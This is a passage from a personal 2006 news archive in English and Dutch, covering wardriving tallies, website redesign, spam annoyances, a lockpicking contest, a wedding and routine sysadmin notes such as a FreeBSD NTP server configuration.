News archive 2006 - Koos van den Hout

Peter Gutmann has written a good article A Cost Analysis of Windows Vista Content Protection where he analyzes the impact (in cost and negative consumer experience) that microsoft windows vista will have on the computer industry. A scary future for PC hardware?

Wardriving results 7 December - 18 December: 738 new networks with GPS locations. And then the keyboard connector on my laptop broke, so I can't power the GPS puck. Only with the usb cable, and the usb connector on the laptop has always been flaky (usb hotplug manager makes interesting beeping noises when I touch the cables).

Doing the rounds: an article in the Toronto Globe and Mail: Why online should be off limits in the bedroom. Strange to me as I have stacks of books to read which I usually read before bedtime. The article looks like it is written from the perspective of a woman with her own hangups about this subject. The wired article 'You and Me and Laptop Makes Three' has a great comment by 'The PeopleGeek': Even Eve had an Apple in her hand when she went to lay down. Adam took a byte or two with her..

Ik volg de laatste dagen het nieuws over de omschakeling van analoge tv zenders in Nederland naar digitale (DVB-T). Veel informatie hierover op Radio en TV Zenders in Nederland. Het aparte aan de overschakeling was dat de frequenties voor het standaard DVB-T pakket (publieke omroepen) pas beschikbaar kwamen toen de analoge zenders uitgeschakeld waren. Er zijn (buiten de Randstad) geen extra frequenties beschikbaar omdat alles aan buurlanden grenst. Ik had eigenlijk na de omschakeling nog wat berichtgeving verwacht over problemen met de beschikbaarheid maar tot nog toe geen woord in de media.

While checking the logs of The Virtual Bookcase to see if I made any errors in the pages, I noticed another webbot requesting loads of pages, the bot related to Webclipping.com. I looked at their site and noticed that they are no search engine, they just scour the web looking for people having opinions about their paying customers. Which means: those requests by their spider will never result in visitors to The Virtual Bookcase. I only want to allow webbots that result in visitors to the site. So, I wanted to know what to put in robots.txt to stop them.. couldn't find that on their website so I asked via e-mail. The answer is (paraphrased): "We decide on our own which sites to visit.". My answer is to block them.

Wardriving results 27 November - 6 December: 1240 new networks with GPS. A tour through Lunetten (part of Utrecht) got me quite a number of new networks. Otherwise no real purpose wardriving, just bringing the laptop along on visits.

I finally redid a lot of the page design on The Virtual Bookcase. All is done with stylesheets now (no more crummy html 3.2 with tables in tables for making borders) and I created a bunch of new graphics for the site. I learned new stuff about graphic design, photographing and working with The Gimp in the process. For example, the bookcase-image in the background of the header took me about an hour to set up, photograph and adjust to get the result I wanted. I do like the current result although I am pondering some more changes. Time also goes into testing whether a neat stylesheet or image trick also works in other popular browsers (not everybody uses Firefox).

Een popup die zelfs door firefox weet heen te komen (Grrrr! geen nedstat meer gebruiken!) komt met een advertentie voor een sms ringtone dienst met de mooie tekst:

De eerste ringtone is gratis. Dit is een abonnementsdienst. De kosten bedragen EUR 3,00 per ringtone (+ sms download kosten), 3 ringtones per week.

.. enge bedragen en ik vraag me af of er nog een verificatieslag achter zit of de eigenaar van het telefoontoestel het er wel mee eens is. Zoiets als dit verstoort natuurlijk enorm het gebruik van de originele site.

Ik zat vrijdag op de HCC dagen in de jaarbeurs. Jaarlijkse gewoonte.. hoewel ik dit jaar niet op zaterdag kon wegens andere afspraken. Maar zowiezo is 'de HCC' niet meer wat het geweest is. De games trekken een jong publiek, de hobbyhal trekt een deels jong en deels oud publiek (het middenstuk lijkt ernstig afwezig). Maar de indeling van de hobbyhal was nog meer 'consumentgericht'. Niet iets waar ik echt enthousiast van raak. Je gaat ook naar de HCC voor contact met de gebruikersgroepgenoten en die zijn nu verspreid over de hele hobbyhal zodat ze elk in hun eigen stukje consumentgerichte eiland staan. Als netwerkgroep hadden we ook niet echt een hot item dus hadden we ook niet veel ruimte geclaimed (uiteindelijk was er een tafel, een stoel, een stopcontact en een netwerktouwtje met gratis Windows-virussen).

Wardriving results 14 - 26 November: 939 new networks with GPS locations. Not much time (or weather) for wardriving, but bringing the kit along on visits to other part of the countries does yield some networks.

I picked up working on The Virtual Bookcase again (after letting it run for a while with just reviewing new books that came in). Page by page gets converted to html4 (I even try to pass the w3 validator) and I'm also looking at a restyle of the pages (html4 with css makes this a lot easier). The changes to html4 get incorporated in the site right away, the big changes will happen in one cutover. It is nice to note how html4+css makes the html source that much cleaner.

Herfst werkzaamheden in de tuin: we hebben bloembollen geplant en de bruidssluier nog eens stevig teruggesnoeid. De pergola zakt steeds schever, dus dat moest ter voorkoming van echte problemen bij een storm. We hebben van van alles wat we willen snoeien (appelboom, hazelaar, andere struiken) opgezocht wanneer dat zou moeten en het komt toch allemaal neer op 'vroeg in het voorjaar'.

Spam (ongewenste e-mail) komt in vele vormen, soms ook van bedrijven die een 'marketing mogelijkheid' belangrijker vinden dan 'goede Internet gebruiker' zijn. Eerst merkte ik dat de Telegraaf reiskrant elk op hun website ingevulde e-mail adres graag van een 'electronische nieuwsbrief' wilde voorzien zonder enige verificatie of dat adres dat wel wilde (en de 'afmelden' link hield de nieuwsbrief niet tegen). Nu vandaag krijg ik weer een 'nieuwsbrief' van het Kruidvat omdat ik een keer hun fotoservice heb geprobeerd (die trouwens heel slecht beviel: fotos waren verlaagd in resolutie, en je mag in een bak in de winkel een zak fotos uitzoeken), terwijl ik daar ook alle vinkjes had uitgezet en al een keer de 'afmelden' link had gebruikt. Dames en heren 'marketeers', u bevindt zich in het gezelschap van Russische criminelen en Nigeriaanse oplichters. Of dit nu het goede gezelschap is ...

I found a webcomic due to a link in alt.sysadmin.recovery and after reading the linked comic I started at number 1 and read the entire archive.. so it's now added to the list of comics to follow. Questionable Content is not so questionable but a nice comic to follow.

Wardriving results 6 - 13 November: 335 new networks with GPS locations. I fell back to the 31st position in the WiGLE top 100 again. I don't think I'll get back to the 30th position easily unless I do another 4-hour wardrive through a city like Nieuwegein. With the current weather that isn't going to happen soon.

Just found on the SSDeV website, the list of winners of the Dutch open, with Berend Eggers as winner of the Dutch Open lockpicking.

I was at the Dutch Open lockpicking championships last weekend, organized by Toool. Well, I think I did not finish last, but I came close. I had to leave during the semi-finals to get back home at a reasonable time, so I don't know yet who won, I do know it must have been one of the germans from Sportsfreunde der Sperrtechnik, the german lockpicking group. All the semi-finalists were germans. This was predicted beforehand ;)

Dear Sun: Seeing 'no keyboard attached' as the last console message when I attach a Logitech usb keyboard to a blade is not the right answer.

Wardriving results 30 October - 5 November: 986 new networks with GPS locations. Most 'tours' were through known areas and slight detours, which still give high numbers of new networks. I check with maps which areas I haven't been in for more than half a year, which will usually find me quite a number of new networks when visited.

Wardriving results 25 - 29 October: 511 new networks with GPS locations. Quite a number of new networks on a drive to and from Brunssum (Limburg), although we did not use a new route. It seems new networks keep popping up. One network popped up near our house last weekend with a strong enough signal near to our old channel that I couldn't find my own access point anymore. I changed the channel and now it's working again (third change since we moved).

Wardriving results 9 - 24 October: 1033 new networks with GPS locations. We stayed in a cottage in Schotland last week. Northern England / Schotland has a lot less wireless networks than the Netherlands: On the last part in England of the return trip (area of Edinburg to Newcastle upon Tyne) I saw 86 networks in 3 hours, and in the first half hour in the Netherlands (Ijmuiden to Koog a/d Zaan) I saw 94 networks. Schotland was very nice, we had some nice walks, gazed at the stars (it's a lot darker over there!) and visited several whisky distilleries including a very nice tour of Tomintoul distillery. Tomintoul also has The Whisky Castle where one can spend a fortune on very nice whiskies.

Wardriving results 27 September - 8 October: 757 new networks with GPS locations. Almost no purpose detours or tours just for wardriving in this period. It's been real busy. As a result, I fell two places back in the WiGLE ranking... from 30 to 32.

Wardriving results 13 - 26 September: 614 new networks with GPS locations. No specific wardriving rides have happened, just a few detours through Utrecht (busy times). And a bit of non-moving wardriving: the building I currently work in has large numbers of students with laptops all searching their home access-points.

It seems the after summer warmth is confusing the pigeons: today we took a picture of a pigeon nest near our house with 2 young birds in it.

Vandaag hadden we een bijeenkomst van de HCC PCgg netwerkgroep. Ik heb daar een presentatie gegeven met als titel Wireless security anno 2006: WEP is dood. Presentatie Wireless security anno 2006 HCC PCgg (pdf) en aantekeningen Wireless security anno 2006 zijn beschikbaar.

Wardrive results 2 - 12 September: 2508 new networks with GPS locations according to WiGLE. New record accesspoints in one wardrive trip: 1317 found in Nieuwegein (see this WiGLE map of the Nieuwegein area). This is about the maximum I can do in one go: I started with a completely charged laptop and returned home with 13 minutes battery time left. I went from 35th to 32nd place in the WiGLE stats for a bit, but someone else scored a bunch of networks and I was back in 33rd place. The competition continues!

Wardrive results 23 August - 1 September: 1264 new networks with GPS locations. I set a new personal record for networks found in one wardrive: 725 new networks on a tour of Houten. With Houten being almost unmapped but filled with houses from the 1970s, I expect a huge amounts of networks there. Lookup Houten at wardrivemap.nl or approximately the same part of Houten at wigle online maps.

Wardrive results 14 - 22 August: 636 new networks with GPS locations. Wigle changed stuff and has a huge backlog at the moment, so I'm waiting for the next entries to get processed.

I played with Google Earth and it's fun and has lots of options. And lots of stuff you can play with, so after some websearches and looking at some samples I added google-earth links in Camp Wireless so you can lookup a campsite in Google Earth when it has a waypoint.

Moving at work to a new office with all the associated network reconnection problems, things getting lost and other issues. And a new view for my webcam.

My webcam is back generating fresh images. Still people visit it, so I might as well give them something to look at.

Wardriving results 6 - 13 August: 624 new networks with GPS locations. Rain isn't the ideal wardriving climate, but new networks can still show up.

The harddisk in my laptop went bad, leading to the state where it did not want to recognize the disk at all. But I wanted my carefully built Linux install copied. The old freezer trick helped: the disk was readable again. It just confused the SMART data: 194 Temperature_Celsius 0x0022 100 100 000 Old_age Always - 43 (Lifetime Min/Max 65530/65).

I received spam (that's no news) with an invoice.doc attachment (that is a bit of news). Besides the usual rants about sending people word files, this has one interesting side effect: the company and author name are in the .doc file. Company: Phoenix Management Corporation author: William Esther.

While transplanting the Coffeecam to new hardware I made a copy of the entire system to a different (more silent) harddisk. The next problem was getting grub to install itself on that second harddisk. Which was easy, given the hints on a Software RAID Howto. Grub does not complain when I tell it /dev/hdc will be the future (hd0). This is something that would be a lot more trouble to get right in lilo.

Leukste SSID van vandaag: verboden_toegang_art_461wbsr. Dat netwerk had ook WEP beveiliging, dus het had zin om te beweren dat er geen toegang was voor onbevoegden.

Mijn document over draadloos netwerk uitleg en installatie bijgewerkt. WEP moet nu sterk afgeraden worden en naar aanleiding van een vraag van iemand een kort stukje over 'ad-hoc' draadloze netwerken.

Wardriving results 1 - 5 August: 206 new networks with GPS locations. I now configured kismet to show 802.11a networks too (the new card supports this standard), so maybe results will go up a little.

Using wpa_supplicant it should also be possible to log in to 802.1x secured (wireless) networks. The library network at work uses this but only documents usage with windows and macos X. I decided to give it a try and after some fiddling I had a working setup: Solis-air access under Linux.

After being unable to use the network at Mirjams' parents house because WPA is the default with their experiabox, I decided to upgrade my laptop and my home wireless network to WPA. I searched for a WPA supporting network card for my laptop. Based on the talk at the last sane conference on the madwifi driver project I chose a senao card with an atheros chipset. With a bit of fiddling I got it all working and now I have a secure network again at home.

De pagina wardriving in Nederland is aangepast met wat tips over niet opvallen tijdens het wardriven. Afgeleid van wat opmerkingen in een wigle.net forumthread over 'best practices' (engelstalig).

Wardriving results 25 - 31 July: 267 new networks with GPS locations. The heat last week kept me from going on interesting detours. The start of the new month at WiGLE gave me a very temporary high ranking for this month.

Another really great site I found... Mike Brown UK transmitter information and gallery. I started with a link in a newsgroup to pictures of the Emley Moor television tower collapse. Mike Brown has collected a great deal of information and pictures about the history, current state and future of television transmission in the united kingdom.

Wardriving results 17 - 24 July: 720 new networks with GPS locations. I did some detours through De Bilt. Most notable was that a 2 hours drive (over the highways) from Utrecht to the south of the Netherlands shows about the same amount of networks as the 30 minute bike ride to work. I'm at position 35 in the wigle stats at the moment. I've been at 32 before, but I guess the holiday, some big jumps by others and the warm weather haven't helped my wardriving much.

Paul McNamara writes in an article Could that be the wireless police knocking? about a condominium/hotel developer in Tucson, Arizona, US including in the regulations for owning a condo that wireless networks have to be secured. I'm not sure I see why the developer would get involved in this subject unless they also happen to be the ISP (in which case I would consider 'no choice in ISP' a big downside to the whole deal). Wireless security needs to be addressed. In the right place: informing the public about it. Having security by default (like in siemens gigaset access points) and not hiding behind a load of unexplained acronyms in a page of the manual (seen in a recent linksys manual). I really don't think a homeowners association is the place. Although it does fit the profile of the 'homeowners associations sticking their nose into everything' which seem on the rise in the US. They make the homeowners association of the flat I lived in before look very sane (even when they did do dumb things on account of 'saving property value').

Pictures in and around the building I work. Comments are in Dutch, but most are about the former use of the room.

Found on bash.org: Another great quote about voip. There is also

That's why I love VoIP. You don't get people phoning up to complain that the network is down.

from Peter Corlett.

This building site I visit daily has everything! Including a university. Maybe I should get some pictures. The building I work in is being renovated (not the part I sit in, I just get the noise). The bus-lane in front is being redone, they just finished demolishing the old one.

Wardriving results 10 July - 16 July: 1043 new networks with GPS. I did some detours through De Bilt on my way to or from work and took a route through Nieuwegein that was a white area on the wardriving map. War 'biking' would be more comfortable if it wasn't this hot (25 and more degrees C outside).

De fritz!box fon is gearriveerd en geconfigureerd. De (web) user-interface is helemaal in die Deutsche sprache dus soms moet ik diep nadenken over de bijpassende telefonie-term (ook in de telefonie is er voor alles een duits woord). Het doel, telefonie die hetzelfde werkt als we gewend zijn (dus zonder speciale toetsen en diep nadenken over wat er op dat moment de beste keuze is) en toch in voorkomende gevallen gebruik maakt van de goedkopere VOIP dienst. Heel mooi is dat de fritz!box keurig terugschakelt naar 'Festnetz' als VOIP niet werkt/reageert. Op het display van de siemens gigaset is keurig te zien welke uitgaande dienst gebruikt wordt.

From Bruce Schneiers Crypto-Gram: Template for News Stories on Government Data Gathering. A bit of a Dilbert-type joke: too funny and too recognizable.

Ik kwam op de site van Walter Belgers terecht en verdwaalde daar in het archief hackers in de media met heel veel kranteknipsels uit de jaren dat ik ook geinterreseerd raakte in computers en beveiliging. Mooi om het allemaal weer eens terug te lezen, ook de ontwikkeling van de wetgeving in Nederland en de uitspraken van professor Herschberg.

Ik ben aardig conservatief met telefonie. Het moet gewoon werken en dezelfde standaard user-interface hebben en houden. Vandaar dat ik wel een keer een xs4all voip account heb aangevraagd maar daar nog niks mee doe. Maar nu heeft xs4all een voip zomeractie waarbij bellen naar veel bestemmingen gratis is. Toch eens tijd om het te proberen. Ik wil alleen het isdn dect toestel hier kunnen blijven gebruiken (daar kun je een pot mee op de bank hangend telefoneren). De enige oplossing blijkt een fritz!box fon 5050, die extern en intern isdn praat. Zo kan ik gewone het gewone toestel blijven gebruiken en een heel dialplan aanmaken om een deel van de gekozen nummers via xs4all voip te laten lopen. Ik wacht in spanning tot het doosje komt.

Interresante assoicaties bij nu.nl in artikel McDonald's haalt omstreden urinoirs weg als je de foto rechts met Mick Jagger bekijkt... schermgrijp.

Wardriving results 9 June - 9 July: most of the time no wardriving happened with the preparations for our marriage, our marriage and the honeymoon. But some trips were made in that time, results: 518 new networks with GPS locations. Quite a number of new networks were found on the first time after the holiday I took a detour from work through downtown Utrecht, and quite a number on a trip through De Bilt and Zeist.

Ik zag een artikel op nu.nl: Wifi op de camping dankzij handig overzicht en de genoemde site zou in de toekomst misschien iets gaan doen met buitenlandse campings. Ik heb toen nu.nl gemailed over Camp Wireless en ze hebben gelijk een link ernaar opgenomen in het artikel. Honderden bezoekers waren het gevolg, en een stuk meer aanmeldingen van Nederlandse campings met draadloze Internet toegang. Genoemd worden op nu.nl/internet levert geen zware slashdotting op, maar toch wel honderden bezoekers.

I decided to do something about the high temperatures in my home server today. Seems the last few days (temperatures around 30 celcius) the disks and cpu got quite hot. I bought a Coolermaster TLF-S12 at MyCom. They had no boring normal black 12 centimeter fans in stock, just ones with blue or red leds. I'm no casemodder (brrr!) so I'm not too happy about the blue leds, there is now a blue glow behind the server. I put an 8 centimeter fan in the front of the case to suck more air in. And I redid the thermal paste on the CPU. The new cooling does cool the harddisks a bit better but the cpu still shoots up to 80 degrees celcius (yes, way too hot!) on high load. I guess I need to look at the nest of IDE cables it does live in. Some other time, it's way too hot up in the attic.

We're back home after a great holiday / honeymoon in Iceland! Took a load of pictures, we'll have to make selections before we can put an archive on-line. Coolest thing we did was whale watching where a humpback whale decided to jump near to the boat.

I 'warwalked' our house. When we first moved in (December 2004) I found zero networks. Now I find 20 networks. All by just moving the laptop through rooms behind the windows. This says something about the growth of wireless!

I'm a married man! I married Mirjam yesterday (13 June 2006).

Wardriving results 3 - 8 June : 123 new networks with GPS locations. I think I have found the source of the GPS issues.. not the leaves all sprouting on the trees (as I thought before and even posted on the wigle forums about) but the powerconnector of the GPS cable having a bad connection with the keyboard connector of my laptop. Let's see in the coming days if adjusting the connector a bit has helped.

Wardriving results 27 May - 2 June: 754 new networks with GPS. Notable differences in 'new networks with GPS' and 'new networks' at the moment (24 new networks without GPS in that time period). Either my Rikaline GPS is degrading or the current GPS reception isn't too great at the moment (satellites in the wrong places, or leaves on trees degrading / blocking the signal). At the moment I'm at number 32 in the WiGLE stats.

Wardriving results 23 - 26 May: 648 new networks with GPS. I planned to go for a really big run through Nieuwegein last Friday, but a bit of rain as soon as I left turned into soaking rain within 20 minutes so I returned home.

Wardriving results 16 - 22 May: 1417 new networks with GPS. New record number, 749 new networks with GPS found in one run biking through a part of Nieuwegein named Galecop (which was quite a 'white spot' on the map beforehand).

Wardriving results 11 - 15 May: 520 new networks with GPS locations. Biggest number of new access points with another drive through parts of Utrecht.

You look the other way for a couple of hours, upload some .gps files to wigle just to see if some more new networks fall out, and now I'm at 35 in the WiGLE rankings (not by much). 81 new networks were found in the .gps logs.

Wardriving results 6 May - 10 May: 1138 new networks with GPS locations according to WiGLE. Large numbers of access points on driving to Limburg and back (with a short dip through Germany), another bikeride through Lombok (and still streets left there!) and a short visit to Amsterdam. I also crept up to position 36 in the WiGLE rankings.

Wardriving results for 30 April - 4 May: 1122 new networks with GPS according to WiGLE. A lot of new networks from biking major roads in Nieuwegein, and a number from some streets in Lombok again. I guess Lombok is quite 'unwired'.

Found a cool article: Tracking Plane Flight on Internet where Todd Underwood writes about tracking the routing changes as a plane with Connexion by Boeing Internet access flies across the Atlantic ocean.

I had an itch to scratch, and I created scrssfeed: SpamCop reply mail rss feed to generate an rss file of the links in a SpamCop reply mail.

With all the talk about Google being upset about MSN being the default search engine in IE 7 maybe we should look the other way around: Firefox and Opera set Google as default search engine. I looked it up: you can add MSN (all types) as search engine in Firefox.

Ik wilde voor de hcc!pc netwerkgroep eens experimenteren met weblogsoftware. We hebben voor die netwerkgroep eerdere pogingen gedaan een website op te zetten maar dat strandde iedere keer, eigenlijk op 'website bijhouden kost tijd, en als het loopt via een ander moet die weer tijd hebben om mijn teksten te verwerken' (en dat voor een groep waar een hoop mensen in zitten die iets met webservers doen). Naar aanleiding van een opmerking van Henk dacht ik dat weblogsoftware een mogelijke aanpak zou kunnen zijn.

Dus ik ben eens gaan kijken naar weblog software die tegen meerdere redacteuren kan, zodat we zonder op elkaar te hoeven wachten een stukje neer kunnen zetten over iets wat ons interreseert, een verslagje, een verhaal over een project. Dus ik ben eens op zoek gegaan naar software die geen last had van 'mysql nodig' (daar ben ik GEEN fan van, ik heb echte databases geleerd) 'chmod 777 nodig'[1] (ik wil veiligheid default) of 'kost duiten' (voor een 'gaat dit werken' experiment niet zo prettig). Met wat zoeken kwam ik terecht op de Blog Software Breakdown van Owen Winkler waar een goed bruikbaar overzicht staat van wat er momenteel beschikbaar is. Movable Type leek interresant maar dat is voor meer dan 1 'redacteur' niet gratis, zelfs niet voor niet-commercieel gebruik. Geld uitgeven aan dit proefje leek me nog niet verstandig.

Uiteindelijk kwam ik uit op serendipity en heb daar eens een test-install van gedaan. Het heeft nog wel een chmod 777 in de installatie staan maar die mag je later uitzetten (waarna er wel wat directories en bestanden schrijfbaar moeten blijven voor de webserver).

Serendipity doet aan categorieëen, rss-feeds, comments, trackbacks en alle andere zaken die een weblog schijnt te moeten hebben.

Het resultaat is te bezichtigen op

http://netwerk.pcgg.nl/serendipity/

Voorlopig proberen we het eens hiermee. Ik moet nog eens kijken of ik het template (vooral stylesheet) kan veranderen naar de PCgg versie.

Voor mezelf blijf ik toch bij mijn vi-powered homepage waar ik met wat scriptjes simpel dingetjes aan kan toevoegen. Dat werkt toch beter.

I set up a new ntp server at work, and it is coupled to the meinberg gps timestandard. The meinberg is a very reliable time source but I don't want to invite the entire Internet to come over and bash it.

So an 'old' (2001) Dell PowerEdge 2550 got repurposed as FreeBSD ntp server. A lot nicer than it's previous role: windows domain controller.

The kernel:

FreeBSD metronoom 5.4-RELEASE-p13 FreeBSD 5.4-RELEASE-p13 #2: Fri Apr 21 16:09:21 UTC 2006 root@metronoom:/usr/obj/usr/src/sys/METRONOOM i386

The special bit in the kernel config is

options         PPS_SYNC                # for ntpd

in devfs.conf I link cuaa0 (first serial port) to pps0, so ntpd can open /dev/pps0 which is for clockdriver 22:

link cuaa0 pps0

And ntp.conf:

# get time from stardate

server stardate.cs.uu.nl prefer iburst

driftfile /var/ntp/ntp.drift

# fudge a local clock at stratum 10

server  127.127.1.0
fudge   127.127.1.0 stratum 10

# talk pps

enable pps kernel auth

server 127.127.22.0
#  minpoll 4 maxpoll 4 version 4
fudge  127.127.22.0 flag3 1
fudge  127.127.22.0 refid PPS

# access restrictions . localhost and staff can check everything. rest can
# get the time

restrict 127.0.0.1 
restrict 131.211.80.0 mask 255.255.254.0
restrict default kod notrap nopeer noquery

keys /etc/ntp.keys
trustedkey 3

# moeltiepaas!

broadcast 224.0.1.1 ttl 2 key 3

# announce policy

setvar access_policy="experimental server not suitable for production" default

Wardriving results for 27 - 29 April: 66 new networks with GPS. No purpose wardriving done, just minor detours through Utrecht.

New cat pictures: Tender the garden tiger, Tender the garden tiger action shot, Tender the garden tiger sneaking around and Moppie enjoying the morning sun.

Wardriving results for 25 - 26 April: 294 new networks with GPS. Most of those from a tour through Lombok, an older part of Utrecht. Lombok has its own Internet provider which started in 2003 with wireless Internet (site in Dutch), which is now moving towards connecting homes via fiber (site in Dutch). I can imagine they have interference problems in their wireless network with hundreds of access-points.

Wrote a bit on how I configured FreeBSD as a PPS slave.

It seems Google used this map upgrade to signal developers that the Google maps API was upgraded recently to v2. So I followed the instructions about the upgrade to v2 for my loc2map script and now I can see that Surfnet, the Internet provider for higher education in the Netherlands, puts their routers in a wheat field in Rotterdam or under the trees in Amsterdam (zoom in to the deepest level). Ok, the LOC RFC says you can give coordinates 'in the area' and update the 'horizontal resolution' accordingly. It still looks funny.

Hey, Google maps has been updated for the Netherlands. Clear Satellite images of constructions close to where I work and detailed maps. I hope they make this data accessible for google maps api soon, because I still get 'lower' resolution satellite images and maps that say 'the Netherlands exist' in my simple google maps api application. For the black helicopter crowd: Naval base 'Kattenburg' in Amsterdam.

The latest in wheelchairs which takes into account that wheelchair users do want to get off the paved road: an All-Terrain Wheelchair built by the Fraunhofer Institute for Information and Data Processing IITB and Otto Bock HealthCare and the Tank Chair which does indeed look like a one person tank.
Via Wired blog Gear Factor.

Wardriving results for 20 April to 24 april: 333 new networks found according to WiGLE. Finally the weather is getting better wardriving, it is much nicer to be out on my bicycle.

Ik heb voor de hcc!pc netwerkgroep een blog opgezet met serendipity, eens kijken of dat gaat werken. Ook heb ik beschreven waarom ik serendipity gekozen heb.

Configuring the NetApp continues. Basic configuration has been done yesterday and now I'm playing with it myself. Trying to understand everything, hoping to make it do what I want. So far I got ldap userlookups working after several tries (for multiple ldap server names, put a comma and(!) a space between the names.

Wardriving results for the period of 11 April to 19 April: 910 new networks with GPS locations. A bike ride through another part of Leidsche Rijn got me 451 new networks. Otherwise small and larger detours through parts of Utrecht where I was before, which usually give me 20-50 new networks each.

Today at work was 'My First NetApp' day. A NetApp engineer came over in the afternoon to help with the rackmount and the initial installation. Since the initialization of the disks was going to take longer than planned, the rest of the installation will be done tomorrow. I am eager to work with the NetApp, hoping it will improve the response time of the home directories (main reason we started looking for new storage). That is the first bit we hope to be able to bring on-line. Later we will look at other storage that we can move to the NetApp.

Aanpassing aan het artikel over marketingsnake. Ze heten nu green-advertising. Verder exact dezelfde manier van werken.

Speaking of FreeBSD and ntp: yesterday at work I set up a Dell Poweredge 2550 as ntp server. FreeBSD 5.4, a kernel with PPS support (the PPS bits will arrive when I have time to make a cable). It now runs over the weekend to see how stable ntpd will get.

Another problem with a public NTP server: Poul-Henning Kamp runs an NTP server on the Danish internet exchange DIX. He found out D-link routers all hammer on that NTP server (and lots of others) without any prior agreement. Read his Open Letter to D-Link about their NTP vandalism and Richard Clayton's write-up on how he researched the problem and found the source in the D-Link equipment. NTP was one of the last services that you could run cooperatively and assume your clients would play nice, now with 'home broadband routers' everywhere out in the world who like to keep the right time (and use sloppy-programmed client software to get that time), this trust in cooperative clients has been broken several times. Yes, this looks a lot like the former case with the University of Wisconsin - Madison and Netgear routers. At least, that case was solved with a good fix and an apology from Netgear.

Wardriving results for the period of 29 March until 10 April: 398 new networks found with GPS. Most of those when I had to be in the city center and walked a number of back streets between the place I parked my bike and the place I had to be. Not a lot of wardriving happened otherwise because of a busy schedule and other things to do (like marriage preparations).

Het lijkt wel recent of Duitsland het nieuwe land is om spam vandaan te sturen naar Nederlandse Internet gebruikers. Nadat ik eerst ontdekt had dat marketingsnake spam verwees naar een in Duitsland gehoste website valt het me nu meer op. Shirtcity, ook gehost in Duitsland lijkt het gewoon leuk te vinden om naar een random opgegeven mail adres mail te sturen en meerdere pogingen tot unsubscribe en klachten bij providers niet te zien als reden om daar mee te stoppen.

Typed a bit about the web form spam attempts that I have seen today.

Several times I received e-mails asking for links on this site to sites with sex toys (all people with websites get link requests probably, I just get weird ones). But, sofar, nobody told me what page exactly made them request a link. And when I asked in reply which page made them ask for that link they went 'uh.. link to us from any page!' which was not a usable answer. This weekend I got a request that was specific enough, they wanted a link from the Friday afternoon link page to their webstore. Just a webstore, not a real good Friday afternoon page. Ehm. No.

Wardriving results 25-28 March: 278 new networks with GPS, 3876 total according to WiGLE. This included some walking through the center of Utrecht. Where GPS reception does fail sometimes, especially indoors...

I'm trying to reinstall windows 98 on one of my fathers oldest computers (a Pentium-75 with 96 Mb memory). This turned out to be more of a 'fight' than usual. The first harddisk has 2 partitions and uses PowerQuest Bootmagic to help them boot. I wanted to make an extra copy of the data on the DOS partition, so I wanted to boot the PLD rescue CD. Which shows up as bootable when this system boots, and then it skips this option and still boots from harddisk. Another bootable CD boots ok. The PLD rescue CD has an image of a floppy that can boot anything using Smart Bootmanager. So I start finding a floppy that is usable enough to boot that image. After several tries that works. I find out that the default settings of the PLD rescue CD don't work on a machine with slightly less than 96 Mb mem (yes, an old computer), correct bootoption: la. So, finally I was able to make a copy of the DOS partition. Next bit: trying to convince the windows 98 setup to only play with the windows 98 partition. It really wants to install on the entire first disk (yes, the monopoly position behaviour we know Microsoft for) but I fixed that by changing the partition type of the DOS partition to 'non-FS data' (type 0xda) using the fdisk tool on the pld-linux cd. And.. succes.

Last week, I watched the movie Real Genius again. A real 80s movie, with a young Val Kilmer and a lot of fun. According to Mirjam (who knows stuff like this) the science in the movie isn't completely wrong and the power levels named are consistent with the developments in those years. Anyway, reading US to test missile-killing airborne laser in The Register points at 'Real Genius', with phrases like solid state lasers and main chemical laser weapon. I hope that somewhere deep in the (probably top secret) designs for the Airborne Laser (ABL) is a reference to that movie.

The main wardriving result: I passed the 20000 mark on 'new networks found with GPS' at WiGLE, with a very large part of those 20000 in and around Utrecht. Results for 20-24 March: 1020 new networks with GPS location.

Toch maar eens de Geschiedenis van BBS Koos z'n Doos proberen vast te leggen voor ik het helemaal vergeet. Herinneringen uit de oude doos zoals het aanschaffen van een 14k4 modem (woah! de snelheid!).

Eens serieus in de sporen gedoken van spam van marketingsnake. Interresant en zeer internationaal spoor.

Wardriving results 14-19 March: 664 new networks with GPS, 4750 networks seen in total. People living in Bilthoven also seem to like having wireless networks...

The little annoyances in life: today I wanted to change the fontsize of the context menu in Firefox. I tried, and tried, and tried, and never found it. It has to be done somehow in userChrome.css. I can change the font-size for one item: #context-back: { font-size: 8pt !important; } but I never found the right code for 'all context menu items'. Well, now I just have * { font-size: 8pt !important; } to make the entire Firefox UI a bit smaller on my laptop, but I still haven't found the right css name for just the context menu.

Doing lots of little stuff at The Virtual Bookcase. Updating pages to be a little more google-friendly, debugging some code to make stuff work again (seems php isn't too stable as a language, which made stuff fail in interesting ways). And keeping up with the book news. And finding out the stylesheet wasn't giving the wanted overviews in MSIE. Oops there.

Updated the document about how I configure SSH to thwart password guessing because I finally took the time of finding the pam equivalent of AllowGroups and DenyGroups.

Wigle it, just a little bit... wardriving results 6 - 13 March. New networks with GPS: 948 .. brought the laptop on some trips to other places, did some detours through part of Utrecht and got quite a number of new networks on a bike trip around the city of Utrecht (to Woerden and back.. until the battery ran out). I'm now at rank 42 for new networks with GPS found at Wigle.

Pacman found in crop circle... Great stuff people do, and I think google maps and satellite image will make make it increase. Found via Google Sightseeing which is a great site anyway. Visit it! Tell them I sent you.

From the CBC archives: A 1993 news program about A network called 'Internet'. Found via telecom-digest.

Fun story: Peter Cochrane's Blog: Snooping on a BlackBerry fool. Peter Cochrane writes about being on a train and being able to listen in to half of a (loud) pre-sales meeting call, with all details being shouted into the train carriage for everyone to enjoy. A bit of very British humour in it, and a good story about both the annoyance of mobile phones in public places and the privacy/security implications. Found via Bruce Schneier: The Analog Hole / security risks of talking loudly.

Na een vraag van Pascal Middelhoff heb ik besloten het document over Installatie en gebruik draadloos netwerk voor thuis beschikbaar te stellen onder een Creative Commons licentie.

Interesting piece in IEEE Spectrum: Unsafe At Any Airspeed? / Cellphones and Other Electronics. Research has been done how much radio emissions (especially cellphones that are left on, but also emissions from other equipment such as DVD players) happen on airplanes, in critical parts of the flight.

Wardriving results 1-5 March.. quite boring because I used the car a few days because it was snowing (four wheels have less problems with snow). 71 new networks with GPS, 1549 seen in total.

Ik heb van Eddie Huibers van de PCgg een paar 'HomePlug' adapters
geleend (SMC HP1D-ETH), die ethernet netwerk over het elektriciteits
netwerk doorsturen. Ik wilde er gelijk eens mee experimenteren,
kijken of het wat is en wat er mee kan.

Bij HomePlug zit de nodige configuratie om een 'netwerk password'
in te stellen. Maar dat was al ingesteld, en de configuratie utility werkt
alleen onder windows, dus ik had niet zo'n zin om daar windows voor te
